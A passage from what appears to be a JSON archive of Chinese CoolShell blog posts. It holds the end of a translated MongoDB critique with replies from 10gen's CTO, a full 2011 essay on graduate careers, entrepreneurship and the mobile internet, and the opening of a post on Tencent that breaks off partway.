1.6，在数据同步配置中，有时会配置了一个错误的结点（经常是一个空结点）是一个最新的数据结点。于是其它同步数据的结果上的**数据就这样被干掉了**（我说的是700GB的好数据），因为其把这个空结点的数据同步回有数据的结点上。数据库永远永远都不应该干这个。如果出现这种问题，数据库应该抛出一个错误而让DBA来选择合理的操作，或是强制使用正确的配置。而不应该删除所有的数据（那天太糟糕了）。\n\n\n他们在1.8中修复了这个问题，偶滴神啊。\n\n\n\n> 10gen CTO 回复：找不到这样的事，也找不到相应提交的代码，你能多给点信息吗？\n> \n> \n\n\n7）发布了一些不应该发布东西\n\n\n众所周知，在稳定版里能找到一些尴尬的bug其会导致数据问题——而我们总是在出了问题后他们才告诉我们这些问题，这是因为我们购买了10gen他们那超级诈骗的白金技术支持。他们回应是，发给我们一个hot patch，他们内部叫RC的玩意，然后让这个hot patch运行在我们的数据上。\n\n\n\n> 10gen CTO 回复：关于白金的技术支持，我们所接手的所有问题都会公开，fix也会公开。没有特定的情景，这种事很难讨论。我们会根据不同的情况作出不同的反应。我们希望我们的用户的问题能尽快得到解决。\n> \n> \n\n\n8）复制器在繁忙的服务器上黯然失色\n\n\n复制器经常性的向Master发起DOS攻击，或是复制非常慢，花了巨长无比的时间，而oplog几乎被耗尽（就算是50GB的oplog）。\n\n\n我们有一个繁忙的，大的数据集我们不会复制他因为它是动态的。那是令人痛苦的一个月，或是我们需要在选择不同的数据库系统前交叉双指（注：好运的手势）\n\n\n\n> 10gen CTO 回复：这看起来像上服务器负载过重了。我前面提到过了。\n> \n> \n\n\n**但是最糟糕的问题是：**\n\n\n你可能会说，我这些问题都是过去式了；他们修复了所有这些问题或是他们会在下一版本中修复这些问题；X问题可以用Y实践来减轻。等等，等等。\n\n\n不幸的是，你说这些东西一点用也没有。\n\n\n真正的问题是，这么多的问题都是首要的问题。 数据库开发者要能hold住比一般程序员更高的标准。也就是说，你的优先级应该像下面这个样子：\n\n\n1. 别搞丢数据，对数据要有完全的把握\n2. 通过实践保证可用性\n3. 多结点的性能扩展性\n4. 最小延迟应该保持在99%和95%之间\n5. 每个资源的每秒请求数\n\n\n10gen的顺序好像是 #5  为每一，其它项随便，#1 并不在前3位。\n\n\n\n> 10gen CTO 回复：这明显不是真的。看一看我们提交的代码，看一看我们的fix。 我们从来不会在release版中隐藏一个bug。如果我们非常在乎性能的benchmark的话，我们会花精力解决那些锁的问题，这样一来，多线程并发会更快一些。\n> \n> \n> MongoDB是一个新生的东西，还有很多东西需要打磨。如果你想来认识一下我们，我们欢迎你来认识一下我们。\n> \n> \n\n\n这些失败，还有那所暗示的公司的优先级，指出了一个最基本的企业文化的问题，其会让问题出现在任一发布版中：因为他们缺乏尊守必要的数据库系统的设计律条。\n\n\n请慎重考虑这些警告。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从 MongoDB “赎金事件” 看安全问题](../wp-content/uploads/2017/01/MongoDB-150x150.jpg)](https://coolshell.cn/articles/17607.html)[从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html)\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3311.html)[几篇技术文章](https://coolshell.cn/articles/3311.html)\n* [![SQL的Where语句](../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg)](https://coolshell.cn/articles/1889.html)[SQL的Where语句](https://coolshell.cn/articles/1889.html)\n* [![MySQL性能优化的最佳20+条经验](../wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg)](https://coolshell.cn/articles/1846.html)[MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html)\nThe post [千万别用MongoDB？真的吗？！](https://coolshell.cn/articles/5826.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-15 来信， 创业 和 移动互联网.md",
    "content": "---\nlayout: post\ntitle: 来信， 创业 和 移动互联网\ndate: 2011/11/15/ 0:31:21\nupdated: 2011/11/15/ 0:31:21\nstatus: publish\npublished: true\ntype: post\n---\n\n上一篇博文[翻译了Steve Yegge的rant](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的长篇大论\")，这两天有一些事让我也想rant一下（所谓rant就是一篇巨长无比的抱怨和说教），不过无论是从见解还是恶搞来说肯定没有SteveY的水平高，所以，这篇博文只是单纯的rant，看标题就知道了，就像“**篱笆，女人和狗**”一样，乡土味实足。所以，下述的一些观点未必正确，也未必靠谱，也就是我的个人唠叨罢了，我想到哪里说到哪里。（篇幅较长，见谅）\n\n\n#### 引子\n\n\n我前两天，收到一封邮件，一位快要毕业的的大学生问我，是去百度，还是去创新工场？他在来信中说，从个人道德价值观来说，他想去创新工场，要远离流氓企业，不然会有狼狈为奸、助纣为虐的感觉，对不起自己。但是创新工场那边情况不熟悉， 不知道怎么选择，并问我现在比较热的移动互联网靠不靠谱。\n\n\n正好这两天我在微博里看到大家转贴李开复的几个让毕业生创业的微博，比如，[这个微博](http://weibo.com/1197161814/xwjDfAcf6)，还有 [这个微博](http://weibo.com/1197161814/xw46V0Cz4)。呵呵。\n\n\n\n> **李开复**：有关毕业生高科技创业,我的建议：1）创业需要理解趋势、汇集精英、实践经验,因此大学毕业不要主导创业,只能参加创业公司,2）最好远在毕业前就寻找创业公司实习机会（无偿亦可）,因为也许创业并不适合你或你想象那样,3）毕业时若想学习创业,最好到创业公司。到大公司学习能学技术但不够针对性。\n> \n> \n\n\n还有前两天的“移动开发者大会”，然后，又有一个以前的同事和我谈了一下他创业的事以及他的想法，正好又在网上看到罗永浩同学的那个“[一个理想者创业的故事](http://v.youku.com/v_show/id_XMzE3OTIyMzg0.html)”的演讲。还有一些做blog插件的团队希望我能在酷壳上安装一下他们的插件。等等，等等。所以，让我有了这个可以rant的写作情绪。\n\n\n\n#### 邮件回复\n\n\n请原谅我不能把邮件的原文直接贴出来，因为自从上次我在博客中点名评批了关于敏捷的东西，我明白了，这个世界上，当把你放到公众的高度上，很多以前可以说的话可能都不能说了（虽然我还是在说，说得还比较尖锐，可能本性如此，呵呵）。言归正传，关于这个网友问我的问题，要是我的话，我可能两个都不会选，但是毕竟人家刚毕业，回想一下我当年毕业的时候，不也一样，就像菜市场里的大白菜一样被路过的人挑来捡去的，那有什么选择可言。人都是需要慢慢成长的，刚毕业的这个时候还不能挑挑捡捡的时候，能有两个offer在手作选择已是非常不错了。另外，人家刚毕业，面对北京这个物价奇高的地方，首先要解决的是生活下来，而不是像那些有工作经验的人一样可以追求更高层次的东西，所以，我不应该从我的角度上来思考这个问题，应该从他们的角度，从更现实的角度来思考。于是，我是大概是这么回复他的（加上了很多口水话是为了更像rant）——\n\n\n* 我对新东西是总是持谨慎的态度，创新工场的刚起步，还需要磨练，而且从现阶段的情况看下来，并不太妙。百度的技术还是很不错的，人家好多年了，用户数量也很大，也有很多积累了，所以还是应该去百度。我之所以这样评价，是因为我始终觉得：1）**创业是不需要助跑的，创业是一种积累到了自然就出现的东西**。你也许并不那么觉得，但是我觉得创业助跑就像高考的辅导班一样，或是像英语培训班一样，正如老罗所说的，出成绩的本来就是人家先天悟性不错，不行的总是不行，而需要培训的大多数总是有问题的，搞培训的都知道这个道理。退一步讲，就算是这些辅导班让你可以考个高分，但是后面呢？创业是一条很长的路，不是考了高分拿了风投被人宣传就能成的事。2）**刚毕业的学生，要学的不是创业，而****是开眼界，长见识，这比任何事都重要，因为我们的的视野决定了我们的人生**。大家也知道我国的教育是什么情况。所以，刚毕业的同学第一件事是把教育和工作差距上的那条大沟给填平了。因此，我觉得大公司有更多的资源和牛人能开阔你的眼界，而不是创新工场里的那些补习班式的团队和项目。而要开眼界应该是去一些成熟的公司，就算要学习创业也应该去那些成型了的创业公司，这是因为，更多的是你要看的那些成功公司的经验和思路。**你可能知道什么不好，但是你没有见过好的，你将不知道什么是好的**。你要学习的是成功的东西，而不是失败的东西，这是就我觉得开眼界长见识的最大的价值。\n\n\n* 关于那些流氓企业（商业公司总是会有些商业手段的，但是使用的是流氓手段的必然是流氓），我们处在的这个社会似乎已经分不清楚什么是流氓手段，什么是商业手段，但是有些公司的做法还是太过份，在如今这样垃圾的社会中居然还能脱颖而出，不得不让人佩服。不过我认为，**我们需要用出世的态度去思考，入世的态度去做事**。社会是个大染坊，我们走入社会参加工作后，很多人都会迷失在其中，分不清什么是入世什么是出世，所以这需要我们坚持住我们心中那份理想的价值观，这个很难，能坚持下来的也不多。无论这个公司的文化让你有多么的不认同，但只要其好的东西（比如百度的技术还是很不错的），能让你开眼界长见识，那就没有问题。因为不管你去到哪里，那些恶心的事总是会或多或少的存在，这就是中国的社会。所以，**我们去那些无良企业，并不是学他的文化，而是学习他的技术和他们把事做出来的经验，根据鲁迅的拿来主义，重要的去其糟粕，取其精华**。必竟人家那么大，在技术方面总是有可取之处的，学成后离开他就好了。我们的教育把我们洗脑洗成了只有是和非的价值观，要么就是大好，要么就是大恶。所以，我们的感情要么就是爱，要么就是恨。没有必要，社会是多元的，多维的，这需要我们要学会分开看问题。**对于刚毕业的学生，还是多去学学一些实实在在的技术，百度是有技术的**。\n\n\n所以，对于李开复的微博，我认为，毕业去创业并不好。去学习创业也要看看是去哪里？很多朋友都觉得毕业就算学完了，这就错了。大学毕业表示真正的学习才刚刚开始，我比较保守，我觉得走出学校，还需要5-10年的社会学习和积累。我经历告诉我，大多数人是浮燥的，急功近利的，好大喜功的，无论是投资人，创业者，还是打工者。真正踏踏实实学习和努力的人很少。我想说是，不要被人两三句话就说得激动万分，不知道自己是谁了，**你一开始没有吃好的饭，你总有一天得回来吃的**。\n#### 创业 和 事业\n\n\n我上上周未和我一个朋友聊了一下他的创业的想法和经历。他和我说他见到这个国外投资人曾投过MySQL，当这个投资人听到他的项目的时候，很惊讶，因为，投资人来中国听到几乎全部都是“业务型的项目”，而从他这里第一次听到“技术型的项目”。投资人非常感兴趣，于是就聊了一会就决定投他的项目了。\n\n\n我在想，如果我们假设有一天MongoDB的创始人在中国找投资人，对中国的投资人说，我有一个很NB的想法，我要做一个开源的非关系型的数据库，可以解决大规模数据量的快速水平扩展的问题，并可以为现在互联网上的数据处理增加巨大的性能价值， 我不知道中国的投资人对这样的项目会不会感兴趣？我看悬。我这里不是说“业务型的项目”不好，我只是想说，在一个浮燥的环境里，几乎没人会关注这些“技术型的项目”。“业务型的项目”外表很华丽，更能打动人，可以让人看到“钱途”，所以，也就没人会关心那些可能改变世界的长期性的“技术型的项目”。多可悲的社会。\n\n\n其实，**创业就是开创事业**。重点是事业，不是开个公司，也不是挣钱，**公司和挣钱是你事业的副产品**。**事业是我们的理想，是我们对自己人生价值的一种诉求**。我个人认为，只有上升上事业的层面上来，才能算得上是创业。如果你只是想开个公司，接两个项目做做，挣点钱，我觉得那就是在浪费时间浪费生命，还不如去跟着一个不错的公司打工，除非你是想以一种曲线的方式达到你的人生理想目标。**你的公司至少应该要去改善或是颠覆点什么，如果还有价值观的输出，那就更完美了**。总之一句话，**别把自己给卖了**。\n\n\n就算是在公司里打工，也应该有这份理想主义。我一直和我的团队说——我们每一个人今天不愁找工作，外面也有很多东西在诱惑着我们。对于我们来说，我们今天在Amazon这个高速增涨并很踏实的公司里，我们应该把在公司里打工升华到事业的层面上来。看看，Amazon是怎么一点一点地、扎扎实实地、有条不紊地、通过技术分析用户和市场来改变世界的，想想自己在Amazon公司里可以影响些什么，可以领导些什么，可以跟着Amazon去为这个世界改变些什么。当你有这样的心态和方式，积累到了，你就能去改变些什么，那时，你要出去创业也就成了一件水到渠成的事。\n\n\n看看今天如此浮燥的社会，我不知道人们怎么了。**中国的很多的创业公司好像都只是为了上市挣钱，而国外更多的公司是为了上市后能改变世界或颠覆传统，这其中有多大的差距啊**。每当看到中国有那么多的CopyCat（[或叫C2C](https://coolshell.cn/articles/3820.html \"中国的C2C模式\")），而国外有那么多的创新，我实在无法为国人感到骄傲。他们甚至还为他们的抄袭找到很多理由，比如，有人说Linux 抄 Unix还不是抄，Windows还不是抄MacOS，OpenOffice抄MS Office，等等。我同意很多好的创意会被人Copy去，这本来也没有什么。只是我想说的是：\n\n\n1）判断一个事有没有抄了另一个事。我觉得不应该看其表面特征像不像，应该看其有没有颠覆性。比如Linux对Unix的颠覆。PC对苹果电脑的颠覆（Windows属于PC机颠覆时代的产物，让PC机更具颠覆性。 同样，Linux的开始也是先上x86）。**就算是表面上复制了你，但是用另一种模式其改变了世界，颠覆了传统，创造了价值，这就不是抄袭**。而中国的很多团队呢，还有那个山寨大王的公司，他们只不过是在做简单的复制，Copy而已，根本谈不上什么颠覆，不知道这个山寨公司怎么想的？钱没处花了吗？不知道这个世界上还有更多的东西更有价值吗？另外，举个例子，新浪微博可能是一个比较不错的复制，我暂时不说其在技术处理信息的回复上和Twitter巨大的差异（[可以看看这篇文章](https://coolshell.cn/articles/5247.html \"国内微博和Twitter的最大不同\")），但是我们可以看到它还是有很多不错的功能（可惜的是新浪的名人路线让其永远不能理解什么是互联网的内涵，而很多人也迷失在这种浮华和虚荣之中）。而其它什么饭否，知乎，等等就是纯粹为了山寨了。如果我们不能颠覆一个产品，我们至少要想着去颠覆或是改善其某个或是几个功能吧。单纯的复制，走不长远，因为你无法理解其内涵。\n\n\n2）我们能不能问问我们自己。只是简单地去复制一个别人的想法，而没有经过自己的分析和考虑，这样的创业有意思吗？总有一些东西要不同吧，总不能靠我们政府帮你墙了你的复制源吧。这样的人生有什么意思吗？还是那句话——**别把自己给卖了**。\n\n\n我有一些同学，都在给中国的国有银行做项目，做了十多年了，还是和十年前几乎一个样。项目就是打单，加班，赶工，需求拼命变更，被甲方和SB领导蹂躏，等等，等等。我在想，一个公司，十多年了，还是老样子，连最基本的商业运作和项目管理还是十年前老样子，哎。十年，在IT行业，这十年是完全翻天覆地的变化，人们的生活方式和传统都受到了前所未有的改变和颠覆。然而，我们很多这样的公司，这十年，他们并没有改变什么，连自己都没有改变。银行里的系统还是向十年前那样，还是用十年前的方式和银行打交道。这些公司，他们从未想过要去改变或是颠覆点什么，就算想过，也就坚持了一两年。**我们中国的企业，大多数是没有理想，没有抱负的企业**。这样的例子有很多很多。\n\n\n* 看看csdn，it-pub, 中文infoQ等一系例的技术论坛。尤其是 CSDN，也有十来年的历史了吧。从来没有想过怎么过提高信息质量，论坛和博客系统有段时间那叫一个难用啊。充斥着各种各样的广告和产商的软文和活动。看看[这个微博](http://weibo.com/1654762921/xx4FL0z6g)（**注**：这个微博已经删除了，这个微博是CSDN的老总范凯不知道怎么在论坛时放广告了，因为全都放满了），你就知道为什么这些论坛干了那么长时间也无法成为像[StackOverflow](http://stackoverflow.com/)或是[Quora](http://www.quora.com/)这样的水平。再说说[InfoQ中文站](http://www.infoq.com/cn/)，完全就是敏捷和TW的喉舌，主编里面有半数以上是TW公司的，上面的文章就像看新华网，人民网一样失去了媒体应有的客观性。而且那里的语言栏目没有C/C++语言，你能想像这些坑爹的编辑是怎么想的吗？所以，他们也无法成为像[CNet](http://www.cnet.com/), [TechCrunch](http://techcrunch.com/)，或是像[Dr. Dobb’s](http://drdobbs.com/)。因为那里是产商的广告战场，而不是技术人员的论坛。他们的目光短浅之处就在于，**他们并没有明白真正让论坛和社区有人气有权威的是技术人员，而不是这些为了销售的产商。难道不想成为最权威的技术网站吗？难道不知道成为最权威的技术网站后面所蕴藏的商机会比今天这种模式要大N倍吗**？\n\n\n* 淘宝也一样（也许马云明白，下面的人不明白）。前段时间我在淘宝商城里买了一个假货。于是我找在线客服投诉，在线客服不管，让我打电话去杭州（这么大个公司连个800的客服电话都没有，shit!），我只好打到杭州，经过若干个占线的经历后（淘宝的call center真是弱爆了），杭州的客服告诉我，让我在线点“让淘宝客服介入”，我说，我打电话来淘宝就是让你介入的，但我却被告之要求介入的唯一方法必需是在网站上点相应的按钮。偶滴神啊，哪个脑子进水的经理设计的这客服流程啊（这不是和老罗那个短片里星巴克的“中杯”的段子不一样脑残吗）。好吧，我还没疯，我去网站点了，结果3-4个月，淘宝的客服根本就没找我，连个邮件都没发。可见，**淘宝几乎是和商家一伙的，而不是站在买家一边的**。淘宝的目光短浅之处就在于，**他们并没有明白真正付钱的是买家，而不是那些商户。如果买家满意了，淘宝及其商户才能赚到钱。这么浅显的道理不懂吗？也许，淘宝知道他现在平台上的这些商户让他根本不敢面对买家**（另外，关于淘宝的技术，我觉得有点两极分化，后台看似很强，但是前台用户的管理页面那个恶心啊，还要整些ActiveX插件，搞得只支持IE 和 Win，仅支持IE也罢了（最近发现其支持chrome了），有时候下单的时候看不见提交按钮，联系在线客服，他让我：换别的浏览器，如果不行，就清空所有的缓存，再不行就重装浏览器，WTF，你们开发人员有没有搞错啊）\n\n\n* 百度和360就更SB了。有技术，有资金，有用户，有市场，还是上市公司，也积累了那么多年，也有很不错的产品和功能，但是就一定要去走流氓的路线，脑子透逗了吧。**这不是目光短浅的问题了，这是人品和智商的问题了**。难道百度不觉得有一个权威公正的搜索排名，会比恶意地竞价排名能挣更多的钱吗？难道百度不明白保护知识产权也能挣更多的钱吗？因为，当你让一个生态环境良性循环起来，你会发现，作为生态引擎的你会让整个生态系统更加依赖你，追捧你，而这个良性的生态系统会让你不由自主地进化和变得越来越强。对于360我就不多说了，你懂的，你要是不懂，那也不是目光短浅的问题了，也是智商的问题了。\n\n\n所以，他们能走到最高点也就是这样了。不想去创新，不想去改变传统方式，不去分析和关注用户，只为了挣钱挣钱，眼光就是如此短浅，所以也就成了钱和投资方的奴隶，于是也就变得愚蠢和迟钝了。**真是Stay hungry, Stay foolish啊，hungry到饥不择食，foolish到自掘坟墓**。\n\n\n当然，你一定会说，对这些大公司来说是这样的，但是对于创业的小团队来说，我说的这些东西太大了，什么改变世界，什么颠覆传统，这个命题太大了。你甚至可以举出像“超级玛丽”这样的经典游戏，或是像“开心农场”这样打发时间的游戏，其并没有改变世界，也没有颠覆传统，但人家还是很成功的。没错，有些时候，我们创业并不需要去改变什么，只需要去满足别人些什么（满足他人的虚荣心的微博，让人打发时间的游戏）。对于我们大多数人来说，能做一个软件产品有很多用户在用就很满足了。能让很多用户来用你的东西，说白了还是在改变什么，或是在颠覆点什么。你没有发现，满足人们的虚荣心，让人打发时间也不是件简单的事，虽然这些只是玩一阵子就不玩的东西，但是，不可否认电子游戏界的创新以及其方式的改变也是相当猛的。\n\n\n好吧，我再圆一圆我的话——**创业总是要去改变点什么，颠覆点什么，或是满足点人们什么，解决点什么，而只有想要去创建某种规则，建立某种秩序，并有价值观输出的团队，才有可能成为真正的事业**。\n\n\n在这个社会里，很多人并不明白这个道理，就算是明白，也不会这么行事。我有一个以前的同事，来中国Amazon面试Kindle App团队的部门经理，过了，也给offer了。但是不想来，为什么？因为他觉得现在他在管一个几十人的团队。而Amazon的这个团队太小了，只有不到十人，而且职位的title不满意。这就是我前面说的，眼界不够开阔的问题。小团队干大事情这不挺好的吗？我们很多人都把眼光放在了那些虚的地方，比如部门大不大，位置高不高，薪水诱不诱人，但却没有看到要做这个事有多大。可惜啊。\n\n\n上新浪微博看看，全是什么XXCTO，XXCEO，XX创始人，XX总监，XX高级主管……title要多牛有多牛，但可惜的是也就是个名称罢了，我花10元钱也可以为自己印一盒要有多牛就有多牛的名片。那些用人经理和猎头只会问，你职位是什么啊？你管多少人啊？好像是个高级主管，管上几十上百人就很牛似的。可是，你用这个title和这些人做了什么事啊？这就像我质问Thoughtworks和敏捷人士们一样，你们用这些所谓NB的东西做了什么大事啊？！（注意：我不是说，挣多少钱和职位发展不重要，我只是说，相对于做什么事，怎么做事来说，这些都是其次重要的，只要做的事靠谱，报酬和职业都会得到的）\n\n\n好吧，让我再回到创业的话题上来，**有一本书叫“[Rework](http://book.douban.com/subject/3889178/)”，想创业的朋友可以好好读一读**。“保持 小的公司规模，你不需要加班，你没有必要耗尽你一生的积蓄，承担财务风险。你可以一边继续日常工作，一边开始创业，这样随时都能有现金满足需要。你甚至不需要办公室。现在可以在家工作，和从未见面离你千里之外的人合作…… ” 这是一本让你可以去思考的书，远比那些名人们的微博有价值地多得多。**不要跟随大流，保持住内心的理想，Think it Big, Make it Different**。\n\n\n我没有能力去诠释人活着是为了什么。但就我而言，我认为应该在自己那短暂的人生内能去多经历更多一些有意义事情，能多做一些更有意义的事情，人生太短了，人太容易变了，时间，精力和人性都经不起折腾。只要做的事有意义，跟着别人一起去开创事业未尝不可，开公司又不是什么时尚。所以，如果你是一个做事的人，我觉得，不要去盲目地创业，那是在浪费时间，潜下心来，观察，思考，尝试，积累，就像一只在非洲草原上匍匐前缓缓逼进猎物的狮子那样有耐心。**把自己当成一个沉着稳重猎手，而不是战场上的炮灰**。\n\n\n#### 移动互联网\n\n\n我不知道大家怎么看这个名词的。这是个当今巨火无比的词儿。有人跟我说过一个段子，某中国大公司的研究所的某某研究员是做出了这样的口沫横飞的定义——“移动互联网绝对是个了不起的东西，因为互联网是移动互联网的子集，因为静止是相对的，移动是绝对的，所以移动互联网必然是未来的一切……”。领导的讲话真是没得说，你我都不可能说出来这样的话。\n\n\n在我眼中，互联网才是核心，移动只不过是互联网的补充，只不过是为了让互联网有更好的体验。今天，全世界都打鸡血似地开发移动应用，我仿佛看到当年Windows平台出现的时候，大家都在Windows上写一些小软件一样。不可否认其中是有一些很不错的应用，也不可否认苹果的App Store让这些“软件个体户们”有了更好的创作平台，而软件质量也显著提高。但是更多的应用都会像Windows平台上的那些小软件一样，必然会很快被淹没在历史大潮之中。没有后面互联网和实际业务的强力支持，移动上的应用也就是一些小打小闹的东西。今天移动互联网的热，就像10年前.com的热一样，我看到移动互联网中像当年.com那样大量的泡沫。我看到各种创业团队和投资一涌而上，而我们都知道，**当潮水退却的时候，就可以看到哪些人在裸泳了**。\n\n\n今天的移动设备和当年的PC机何其相似，真正制定规则的人都是那些在制造移动设备及其操作系统的公司。当年在Windows上有很多不错的共享软件，什么foxmail，netants，cuteftp，…… 我记得当时foxmail被以2000万收购，但是今天也就这样了，邮件都都在Web或是移动端收了。我相信今天在这些在移动设备上开发应用的创业团队，很有可能也会在5到10年之后面临着相同的尴尬（可能会更短）。我倒不是说这样的小软件没意思，我只是想说，这样的小软件的开发完全没有必要成立公司，要成立公司，就应该要干得比这个事要大。不是吗？难道你不想创建一个能比自己寿命还长的事业和公司吗？移动互联网上的很多小应用，更像是大学里学生们开发着玩的一些软件玩具罢了。\n\n\n移动互联网上很多app感觉特别无聊，比如foursquare, 街旁之类的东西，虽然我实在不能理解这样的东西为何流行，但我想起了我6年前（2005年），当blog出现的时候，我在MSN的BLOG上记录[过自己的一些粗糙的想法](http://blog.sina.com.cn/s/blog_538efefb0100n53e.html)（现在搬到了新浪Blog）。当时我认为，**互联网的进化和人类社会的进化很相似，web1.0 到 web 2.0，就是从“自由”到“自我”的一个过程。**今天，我们看到了 “自我”这个过程的各种各样的演绎，也许，像这种地理位置签到的玩意儿同样满足了人们那种“自我”的渴望。不过，我们都可以看到今天互联网上“自我”的泛滥，人们在网上晒各种各样自己的东西，在豆瓣上展示自己读过的书，看过的电影，在微博上晒自己的旅行照片，生活点滴，自己的车子房子老婆孩子，公司，职位，简历，加V，衣食住行，吃喝拉撒，等等一切可以拿出来炫耀的东西，包括自己的地理位置。我想到了“自我”，但我万万没有想到自我的东西里还包括自己的位置。**这些不创造任何价值的自我的东西终将是过眼云烟，昙花一现**。**我们都得问问自己这个问题——我们有没有在创造价值**？！（也许这个话说得有些绝对了，对于中国人来说，这是我们的culture啊。另外，我意识虚荣和炫耀并不产生价值是错的一一GMM的事给了我一记漂亮的耳光。试想，当今这个社会，如果所有的二奶都来炫耀谁包养了她，官员们都能签到他们出入的位置，那么还是能创造很多价值的。滑稽吧）\n\n\n今天，我大胆预测一下未来互联网的走势，只有了解历史，我们才能看清未来。\n\n\n* **互联网的精髓是自由和分享**。这个东西以前是这样，现在也是这样，未来还是这样。就算是我们正在经历那些反人类的东西。但这个精神和趋势必然是无法阻挡的。我们在网上没有边界地分享我们的数字信息，或公开，或私密，无论是我的发邮件，写博客，织微博，还是看视频，听音乐，写评论。都是自由和分享的体现。移动互联网会把这个事体现到极致。\n\n\n* **互联网的本质是信息组织**。关于信息，以前是ICP发布信息，现在是ICP feed信息(订阅)，大众参与组织信息。但是都会有一个问题，那就是信息太多，等于没有信息。搜索引擎的出现部分解决了这一问题。但没有解决彻底。因为搜索出来的东西还是太多，而且是搜索引擎的单一标准，而不是个体差异和喜好的标准。所以，**我觉得未来的信息必然要走个性化的路。搜索引擎或是别的平台（如豆瓣，电子商务等）会学习用户的习惯和喜好，然后根据用户的喜好出现不同的结果。这就是所谓的推荐**！**未来必然是推荐的时代**。\n\n\n所以，对于移动平台，我觉得最有价值的就是这些事情：1）**阅读**（如：kindle，新闻，图书，订阅等），2）**分享和交流**（如：facetime，iMessage，微信，米聊，电邮等等），3）**电子商务**（如：机票酒店餐饮购物），4）**推荐**（目前这一块还是比较空的）。注意，我们需要清楚地认识到，其中的分享和交流是对传统电话和短信的延续，并不是取代！有些时候，本来直接打个电话发个短信就解决了的事，我们还要让用户上我们的平台，这就没有意义了。\n\n\n哦，你会问我，云计算在哪里？云嘛，在天上漂着呢，尤其是中国的各种云。我不知道你还记不记得前几年的“网格计算”？现在真的成浮云了。不要去追随着那些媒体们热捧热炒的东西，**中国的科技媒体们一来只会跟产商，二来他们哪有你懂技术懂产品啊**。所以，不要被他们吹晕了，不知道自己该干什么了。还是想一想，你要解决什么问题，关注这些名词或代号没有意义。\n\n\n#### 结尾\n\n\n最后，我要说明一下，本文是我思考了十天左右的文章，不存在喝多了，也不存在凌晨写作头脑不清的问题，也不存在本来要把一篇给小范围传播的文章给大家看。对于我在文中批评的那些公司，我希望他们能把我的这些rant当成一种建议和鞭策，当然，你们需要适应我调侃和尖锐的语气。千万不要学那些敏感人士，或是黑我的blog，或是骂人，因为这样只会让你们看上去更为难堪。\n\n\n最后注明一下版权，**本文由陈皓原创发表，你可以任意传载，但必需在明显位置注明作者和出处，而且不能用于任何商业用途**。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![三个事和三个问题](../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg)](https://coolshell.cn/articles/6142.html)[三个事和三个问题](https://coolshell.cn/articles/6142.html)\n* [![程序员技术练级攻略](../wp-content/uploads/2011/07/programmer-150x150.png)](https://coolshell.cn/articles/4990.html)[程序员技术练级攻略](https://coolshell.cn/articles/4990.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\nThe post [来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-22 腾讯，竞争力 和 用户体验.md",
    "content": "---\nlayout: post\ntitle: 腾讯，竞争力 和 用户体验\ndate: 2011/11/22/ 0:29:24\nupdated: 2011/11/22/ 0:29:24\nstatus: publish\npublished: true\ntype: post\n---\n\n自从[那篇rant了一堆公司都的文章](https://coolshell.cn/articles/5815.html \"来信， 创业 和 移动互联网\")发布来，得到了大家的关注，有些朋友让我写一下腾讯，在我的微博上（[@左耳朵耗子](http://weibo.com/haoel)）还有位腾讯的朋友让我也评价一下腾讯。本来不想写的，觉得腾讯没啥好说的，但是因为下面的几个原因，让我有点坐不住了：\n\n\n1. 这两天知乎上的一个“[腾讯的核心竞争力](http://www.zhihu.com/question/19920338)”的贴子在微博上被很多人所推崇。\n2. 还有一个网友发邮件给我说让我别rant了，宁可C2C也比rant有意义。\n3. 我周末的时候去豆瓣和他们交流了一些关于产品和用户体验方面的话题。\n4. 还看到了Jeff Bezos的访谈文章《[贝佐斯：亚马逊是科技界唯一一家低利润公司](http://tech.sina.com.cn/i/2011-11-17/15546337096.shtml)》\n\n\n于是就有了这篇文章，但不想再rant了，我希望这篇文章更有价值一些，但是我喜欢的调侃的风格依然，因为这是我觉得能让文章有趣味的方式。\n\n\n#### 腾讯的“价值”\n\n\n首先我想说说腾讯的价值。根据我[那篇 rant 的文章](https://coolshell.cn/articles/5815.html \"来信， 创业 和 